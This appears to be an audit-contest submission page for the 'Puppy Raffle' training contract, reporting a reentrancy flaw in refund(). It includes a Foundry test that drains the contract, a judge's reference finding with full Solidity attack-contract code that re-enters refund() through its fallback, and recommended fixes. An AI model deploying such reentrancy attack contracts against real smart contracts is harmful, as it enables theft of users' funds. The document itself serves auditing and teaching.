Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Attack

jfornells

PuppyRaffle::refund does not follow the CEI pattern. This allows a reentrancy attack that can drain the contract funds.

Description

  • The PuppyRaffle::refund function should allow a player to recover their entranceFee only once and mark their slot in players[playerIndex] as inactive (address(0)), while keeping contract funds safe.

  • refund() does not follow the CEI pattern and makes an external call (sendValue) before updating the state (players[playerIndex] = address(0)). An attacker can deploy a contract with receive()/fallback() that re-enters refund().

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

  • Exploitation occurs when a player is a contract with receive()/fallback() that makes a reentrant call to refund() during sendValue.

  • Exploitation occurs in any execution of refund() while the state players[playerIndex] has not yet been set to address(0) (reentrancy window before the effect).

Impact: High

  • An attacker can claim multiple refunds with a single position in players, extracting more than entranceFee repeatedly.

  • Can end up draining the entire contract balance (until sendValue fails due to lack of funds), affecting the ability to refund other users and/or pay the prize.

Proof of Concept

This test demonstrates that the PuppyRaffle::refund function is vulnerable to reentrancy.

function test_Refund_Allows_ReentrancyAttack() public {
// Assign 8 ETH to playerOne to enter the raffle
deal(playerOne, 8 ether);
​
// Simulate all actions as playerOne
vm.startPrank(playerOne);
​
// Deploy the attacking contract, passing the PuppyRaffle address
Attack attack = new Attack(address(puppyRaffle));
​
// Create an array of 4 players:
// 3 legitimate EOAs and 1 malicious contract
address[] memory newPlayers = new address[](4);
newPlayers[0] = playerOne;
newPlayers[1] = playerTwo;
newPlayers[2] = playerThree;
newPlayers[3] = address(attack);
​
// Enter the raffle with a total of 4 ETH (1 ETH per player)
puppyRaffle.enterRaffle{value: 4 ether}(newPlayers);
​
// Check initial state
// The contract should have 4 ETH
assertEq(address(puppyRaffle).balance, 4 ether);
// The attacking contract has not received any ETH yet
assertEq(address(attack).balance, 0);
​
// Get the index of the attacking contract in the players array
uint256 idx = puppyRaffle.getActivePlayerIndex(address(attack));
​
// Start the attack:
// refundRuffle calls refund() and re-enters via receive()/fallback()
attack.refundRuffle(idx);
​
// After the attack:
// The entire raffle balance has been drained
assertEq(address(puppyRaffle).balance, 0);
// The attacking contract has received all 4 ETH
assertEq(address(attack).balance, 4 ether);
​
// Informative log for debugging / visibility
emit log_named_uint("attack eth balance", address(attack).balance);
}
​

Recommended Mitigation

Update the contract state players[playerIndex] before making the external call sendValue. This eliminates the reentrancy window, as any reentrant attempt will find the player marked as refunded and fail.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ players[playerIndex] = address(0);
​
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!